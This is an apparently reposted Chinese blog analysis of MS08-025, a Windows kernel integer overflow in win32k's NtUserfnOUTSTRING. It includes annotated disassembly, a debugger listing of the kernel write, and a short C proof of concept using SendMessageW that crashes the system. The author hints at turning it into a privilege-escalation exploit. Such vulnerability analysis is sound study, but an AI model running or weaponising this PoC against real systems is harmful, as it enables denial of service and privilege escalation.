ms08025内核漏洞深度分析

漏洞对于系统用户来说并不陌生,几乎是所有的系统和软件都会有漏洞产生。我们几乎就是在填补漏洞和发现新漏洞中使用系统的。ms08025漏洞是一个可被攻击者利用的漏洞,本篇文章分析了ms08025漏洞补丁,下面我们就从NtUserfnOUTSTRING 函数中的问题来展开我们的分析。

.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
.text:BF86FB04 ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep
.text:BF86FB04 ; NtUserMessageCall(x,x,x,x,x,x,x)+61p
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6Dp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)+60p ...
.text:BF86FB04
.text:BF86FB04 var_24  = dword ptr -24h
.text:BF86FB04 var_20  = dword ptr -20h
.text:BF86FB04 UserBuffer  = dword ptr -1Ch
.text:BF86FB04 ms_exc  = CPPEH_RECORD ptr -18h
.text:BF86FB04 arg_0   = dword ptr  8
.text:BF86FB04 arg_4   = dword ptr  0Ch
.text:BF86FB04 arg_8   = dword ptr  10h
.text:BF86FB04 Address = dword ptr  14h
.text:BF86FB04 arg_10  = dword ptr  18h
.text:BF86FB04 arg_14  = dword ptr  1Ch
.text:BF86FB04 arg_18  = dword ptr  20h
.text:BF86FB04
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES
.text:BF86FB04
.text:BF86FB04 push14h
.text:BF86FB06 pushoffset unk_BF98D250
.text:BF86FB0B call__SEH_prolog
.text:BF86FB0B
.text:BF86FB10 xor edx, edx
.text:BF86FB12 mov [ebp+ms_exc.disabled], edx
.text:BF86FB15 mov eax, [ebp+var_20]
.text:BF86FB18 mov ecx, 7FFFFFFFh
.text:BF86FB1D and eax, ecx
.text:BF86FB1F mov esi, [ebp+arg_18]
.text:BF86FB22 shl esi, 1Fh
.text:BF86FB25 or  eax, esi
.text:BF86FB27 mov [ebp+var_20], eax
.text:BF86FB2A mov esi, eax
.text:BF86FB2C xor esi, [ebp+arg_8]  -> esi = 缓冲区长度
.text:BF86FB2F and esi, ecx
.text:BF86FB31 xor eax, esi
.text:BF86FB33 mov [ebp+var_20], eax
.text:BF86FB36 cmp [ebp+arg_18], edx  -> 如果是 ansi 方式就直接进行检查

否则需要计算unicode的大小
.text:BF86FB39 jnz short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B lea esi, [eax+eax]<- 注意这里,问题就在这

此时 eax = unicode字符串的长度,
<- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000,32位的寄存器
<- 被溢出了,esi = 0
.text:BF86FB3E xor esi, eax
.text:BF86FB40 and esi, ecx
.text:BF86FB42 xor eax, esi
.text:BF86FB44 mov [ebp+var_20], eax -> 保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47:   ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j
.text:BF86FB47 mov [ebp+var_24], edx
.text:BF86FB4A mov esi, [ebp+Address]
.text:BF86FB4D mov [ebp+UserBuffer], esi
.text:BF86FB50 xor ebx, ebx
.text:BF86FB52 inc ebx
.text:BF86FB53 pushebx ; Alignment
.text:BF86FB54 and eax, ecx
.text:BF86FB56 pusheax ; Length <- 由于 eax = 0,所以ProbeForWrite被绕过
.text:BF86FB57 pushesi ; Address
.text:BF86FB58 callds:ProbeForWrite(x,x,x)


bf80a1b0 e96ef4ffff   jmp   win32k!xxxRealDefWindowProc+0x1235 (bf809623)
bf80a1b5 d1e8 shr eax,1
bf80a1b7 894510   mov [ebp+0x10],eax
bf80a1ba ebf1 jmpwin32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
bf80a1bc 8b4514   mov eax,[ebp+0x14]
bf80a1bf f6400780 testbyte ptr [eax+0x7],0x80
bf80a1c3 8b4008   mov eax,[eax+0x8]
bf80a1c6 7408 jz win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
bf80a1c8 c60000   mov byte ptr [eax],0x0
bf80a1cb e951f4ffff   jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d0 668910  mov [eax],dx<- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0
bf80a1d3 e949f4ffff   jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d8 6a00 push0x0
bf80a1da 6a02 push0x2
bf80a1dc ff7638   pushdword ptr [esi+0x38]
bf80a1df e8d1690200   callwin32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8 mov edi,eax
bf80a1e6 85ff testedi,edi
bf80a1e8 0f8433f4ffff jewin32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1ee 8d7710   lea esi,[edi+0x10]

那么怎么触发ms08025漏洞呢,我又分析了user32.dll 和 win32k!NtUserMessageCall,发现触发这个漏洞很简单,只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了,下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可用的exploit,可以参考我以前的exploit)

 

  1.  
  2. #include <stdio.h> 
  3. #include <windows.h> 
  4.  
  5. int main(int argc,char *argv[])  
  6. {  
  7. DWORDdwHookAddress = 0x80000000;  
  8.  
  9. printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );  
  10. printf( "Create by Whitecell's [email protected] 2008/04/10\n" );  
  11.  
  12. SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );  
  13. return 0;  

 

【编辑推荐】

  1. Web应用防火墙的功能与价值
  2. xss攻击 Web安全新挑战
  3. 防火墙安全测试之规则分析工具
  4. Web应用防火墙的主要特性
  5. 防止入侵从Web应用安全漏洞做起

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/122222.html<

(0)
运维的头像运维
上一篇2025-02-22 06:07
下一篇 2025-02-22 06:08

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注